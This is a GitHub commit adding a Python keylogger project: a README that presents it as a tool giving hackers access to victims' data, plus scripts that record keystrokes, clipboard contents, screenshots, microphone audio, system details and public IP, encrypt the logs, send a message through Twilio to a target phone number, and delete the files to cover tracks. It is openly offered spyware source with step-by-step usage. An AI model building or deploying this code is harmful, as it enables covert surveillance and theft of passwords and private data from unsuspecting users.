Skip to content

Commit f62d1e5

Browse files
committed
Add Keylogger
1 parent 3dafc6a commit f62d1e5

File tree

4 files changed

+336
-0
lines changed

4 files changed

+336
-0
lines changed

Keylogger/README.md

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
2+
![pyKeylogger](https://user-images.githubusercontent.com/77505989/162591491-fc2e14ea-3f2e-4d15-a86e-f0e7394a888d.png)
3+
4+
Key loggers are activity-monitoring software programs that give hackers access to your data. The software is installed on your computer and records everything you type. Then it sends this log file to a server, where cybercriminals wait to use all this sensitive information.
5+
6+
### This key logger can not only detect & record your keystrokes but can also:
7+
8+
- Takes screenshot at a particular interval of time
9+
10+
- Records audio
11+
12+
- Record your System’s information & IP Address
13+
14+
- Sends the data to the remote server using [Twilio](https://www.twilio.com/)
15+
16+
- Keep track of your clipboard information
17+
18+
## Technologies on which it is built:
19+
```
20+
1. Python
21+
2. Socket
22+
3. Platform
23+
4. Win32
24+
5. Pynput
25+
6. Scipy
26+
7. Sound-Device
27+
8. Cryptography
28+
9. Twilio
29+
```
30+
## Why pyKeylogger?
31+
32+
- It will broaden the way of thinking of researchers about how we can innovate the key loggers.
33+
- It will help identify the loopholes in the current anti key loggers software.
34+
- Multi software hack: pyKeylogger is packed with many modules to make it more advance than traditional keyloggers.
35+
36+
#### Capable of deleting all the records after sending them to the remote server.
37+
<p align="center">
38+
<img src="https://user-images.githubusercontent.com/77505989/162591486-e96ab751-bcd1-47b4-b48d-1dc304e06426.png" alt="Delete Records" />
39+
</p>
40+
41+
#### Encrypts the data & generates a new key (Asymmetric Key Encryption) that only the person at the remote server can decrypt.
42+
<p align="center">
43+
<img src="https://user-images.githubusercontent.com/77505989/162591487-77b5abd9-ab17-4613-a1f2-6618a70b4c84.png" alt="Encryption" />
44+
</p>
45+
46+
#### Using Twilio for transferring the data to a remote server!
47+
<p align="center">
48+
<img src="https://user-images.githubusercontent.com/77505989/162591488-6682da11-167a-4848-81de-e09d86561830.png" alt="Twilio" />
49+
</p>
50+
51+
## How to use?
52+
After cloning & installing all the dependencies, run
53+
```
54+
>>> python GenerateKey.py
55+
```
56+
It will generate the encryption key. Paste this key into `DecryptFile.py` & `Keylogger.py`. Then run,
57+
```
58+
>>> python Keylogger.py
59+
```
60+
You will see that new files are generating on their own. Watch Demonstration of the project [Here](https://www.youtube.com/watch?v=upWCYSoyOt8).
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
''' Fernet guarantees that a message encrypted using it cannot be manipulated or read without the key. Fernet is an implementation of symmetric (also known as “secret key”) authenticated cryptography. '''
2+
3+
from cryptography.fernet import Fernet
4+
5+
''' Get key from the GenerateKey.py file '''
6+
7+
key = ""
8+
9+
system_information_e = 'e_systeminfo.txt'
10+
clipboard_information_e = 'e_clipboard.txt'
11+
keys_information_e = 'e_key_log.txt'
12+
13+
encrypted_files = [system_information_e, clipboard_information_e, keys_information_e]
14+
count = 0
15+
16+
for decrypting_files in encrypted_files:
17+
18+
with open(encrypted_files[count], 'rb') as f:
19+
data = f.read()
20+
21+
fernet = Fernet(key)
22+
decrypted = fernet.decrypt(data)
23+
24+
with open("decryption.txt", 'ab') as f:
25+
f.write(decrypted)
26+
27+
count += 1
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
from cryptography.fernet import Fernet
2+
3+
''' generate_key() method generates a new fernet key. The key must be kept safe as it is the most important component to decrypt the ciphertext. '''
4+
5+
key = Fernet.generate_key()
6+
7+
file = open("encryption_key.txt", 'wb')
8+
9+
file.write(key)
10+
11+
file.close()

Keylogger/keylogger.py

Lines changed: 238 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,238 @@
1+
''' The OS module in Python provides functions for interacting with the operating system. OS comes under Python’s standard utility modules. This module provides a portable way of using operating system-dependent functionality. '''
2+
3+
import os
4+
5+
''' Python's time module allows to work with time in Python. It allows functionality like getting the current time, pausing the Program from executing, etc. '''
6+
7+
import time
8+
9+
''' Socket programming is a way of connecting two nodes on a network to communicate with each other. One socket(node) listens on a particular port at an IP, while the other socket reaches out to the other to form a connection. The server forms the listener socket while the client reaches out to the server. '''
10+
11+
import socket
12+
13+
''' In many programs we need a secure the data or program then this case we use some secret key or passwords to identifying the users. Using getpass() it is possible to accept the password in python program. '''
14+
15+
import getpass
16+
17+
''' The Platform module is used to retrieve as much possible information about the platform on which the program is being currently executed. '''
18+
19+
import platform
20+
21+
''' Used pywin32 for retrieving the clipboard text. '''
22+
23+
import win32clipboard
24+
25+
''' sounddevice module provides bindings for the PortAudio library and a few convenience functions to play and record NumPy arrays containing audio signals. '''
26+
27+
import sounddevice as sd
28+
29+
''' requests module for get/post requests '''
30+
31+
from requests import get
32+
33+
''' PIL is the Python Imaging Library which provides the python interpreter with image editing
34+
capabilities. The ImageGrab module can be used to copy the contents of the screen or the clipboard to a PIL image memory. '''
35+
36+
from PIL import ImageGrab
37+
38+
''' Twilio library forinteracting with Twilio's features. '''
39+
40+
from twilio.rest import Client
41+
42+
''' SciPy is a scientific computation library that uses NumPy underneath. SciPy stands for Scientific Python. It provides more utility functions for optimization, stats and signal processing '''
43+
44+
from scipy.io.wavfile import write
45+
46+
''' Fernet guarantees that a message encrypted using it cannot be manipulated or read without the key. Fernet is an implementation of symmetric (also known as “secret key”) authenticated cryptography. '''
47+
48+
from cryptography.fernet import Fernet
49+
50+
''' This library allows you to control and monitor input devices. Currently, mouse and keyboard input and monitoring are supported. '''
51+
52+
from pynput.keyboard import Key, Listener
53+
54+
keys_information = "key_log.txt"
55+
system_information = "syseminfo.txt"
56+
clipboard_information = "clipboard.txt"
57+
audio_information = "audio.wav"
58+
screenshot_information = "screenshot.png"
59+
60+
keys_information_e = "e_key_log.txt"
61+
system_information_e = "e_systeminfo.txt"
62+
clipboard_information_e = "e_clipboard.txt"
63+
64+
microphone_time = 10
65+
time_iteration = 15
66+
number_of_iterations_end = 3
67+
68+
''' Twilio's credentials '''
69+
70+
account_sid = "TWILIO_ACCOUNT_SID"
71+
auth_token ="TWILIO_ACCOUNT_TOKEN"
72+
client = Client(account_sid, auth_token)
73+
74+
username = getpass.getuser()
75+
76+
''' Generate an encryption key from the Cryptography folder. '''
77+
78+
key = ""
79+
80+
''' Enter the file path where your files will be stored. '''
81+
82+
file_path = ""
83+
84+
extend = "\\"
85+
file_merge = file_path + extend
86+
87+
''' Get the computer information. '''
88+
89+
def computer_information():
90+
with open(file_path + extend + system_information, "a") as f:
91+
hostname = socket.gethostname()
92+
IPAddr = socket.gethostbyname(hostname)
93+
try:
94+
public_ip = get("https://api.ipify.org").text
95+
f.write("Public IP Address: " + public_ip + "\n")
96+
97+
except Exception:
98+
f.write("Couldn't get Public IP Address (most likely max query")
99+
100+
f.write("Processor: " + (platform.processor()) + '\n')
101+
f.write("System: " + platform.system() + " " + platform.version() + '\n')
102+
f.write("Machine: " + platform.machine() + "\n")
103+
f.write("Hostname: " + hostname + "\n")
104+
f.write("Private IP Address: " + IPAddr + "\n")
105+
106+
computer_information()
107+
108+
''' Get the clipboard contents. '''
109+
110+
def copy_clipboard():
111+
with open(file_path + extend + clipboard_information, "a") as f:
112+
try:
113+
win32clipboard.OpenClipboard()
114+
pasted_data = win32clipboard.GetClipboardData()
115+
win32clipboard.CloseClipboard()
116+
117+
f.write("Clipboard Data: \n" + pasted_data)
118+
119+
except:
120+
f.write("Clipboard could be not be copied")
121+
122+
copy_clipboard()
123+
124+
''' Geting the Microphone '''
125+
126+
def microphone():
127+
fs = 44100
128+
seconds = microphone_time
129+
130+
myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2)
131+
sd.wait()
132+
133+
write(file_path + extend + audio_information, fs, myrecording)
134+
135+
microphone()
136+
137+
''' Get screenshots '''
138+
139+
def screenshot():
140+
im = ImageGrab.grab()
141+
im.save(file_path + extend + screenshot_information)
142+
143+
screenshot()
144+
145+
number_of_iterations = 0
146+
currentTime = time.time()
147+
stoppingTime = time.time() + time_iteration
148+
149+
''' Timer for keylogger '''
150+
151+
while number_of_iterations < number_of_iterations_end:
152+
153+
count = 0
154+
keys =[]
155+
156+
def on_press(key):
157+
global keys, count, currentTime
158+
159+
print(key)
160+
keys.append(key)
161+
count += 1
162+
currentTime = time.time()
163+
164+
if count >= 1:
165+
count = 0
166+
write_file(keys)
167+
keys =[]
168+
169+
def write_file(keys):
170+
with open(file_path + extend + keys_information, "a") as f:
171+
for key in keys:
172+
k = str(key).replace("'", "")
173+
if k.find("space") > 0:
174+
f.write('\n')
175+
f.close()
176+
elif k.find("Key") == -1:
177+
f.write(k)
178+
f.close()
179+
180+
def on_release(key):
181+
if key == Key.esc:
182+
return False
183+
if currentTime > stoppingTime:
184+
return False
185+
186+
with Listener(on_press=on_press, on_release=on_release) as listener:
187+
listener.join()
188+
189+
if currentTime > stoppingTime:
190+
191+
with open(file_path + extend + keys_information, "w") as f:
192+
f.write(" ")
193+
194+
screenshot()
195+
196+
copy_clipboard()
197+
198+
number_of_iterations += 1
199+
200+
currentTime = time.time()
201+
stoppingTime = time.time() + time_iteration
202+
203+
204+
''' Encrypt Files '''
205+
206+
files_to_encrypt = [file_merge + system_information, file_merge + clipboard_information, file_merge + keys_information]
207+
encrypted_file_names = [file_merge + system_information_e, file_merge + clipboard_information_e, file_merge + keys_information_e]
208+
209+
count = 0
210+
211+
for encrypting_file in files_to_encrypt:
212+
213+
with open(files_to_encrypt[count], 'rb') as f:
214+
data = f.read()
215+
216+
fernet = Fernet(key)
217+
encrypted = fernet.encrypt(data)
218+
219+
with open(encrypted_file_names[count], 'wb') as f:
220+
f.write(encrypted)
221+
222+
''' Sending all the information to Twilio's SMS Account.'''
223+
224+
message = client.messages \
225+
.create(
226+
body='CRUCIAL INFORMATION WILL BE SEND FROM HERE!',
227+
from_='TWILIO_PHONE_NUMBER',
228+
to='TARGET_PHONE_NUMBER'
229+
)
230+
231+
print(message.sid)
232+
count += 1
233+
234+
''' Clean up our Tracks & Delete Files '''
235+
236+
delete_files = [system_information, clipboard_information, keys_information, screenshot_information, audio_information]
237+
for file in delete_files:
238+
os.remove(file_merge + file)

0 commit comments

Comments
 (0)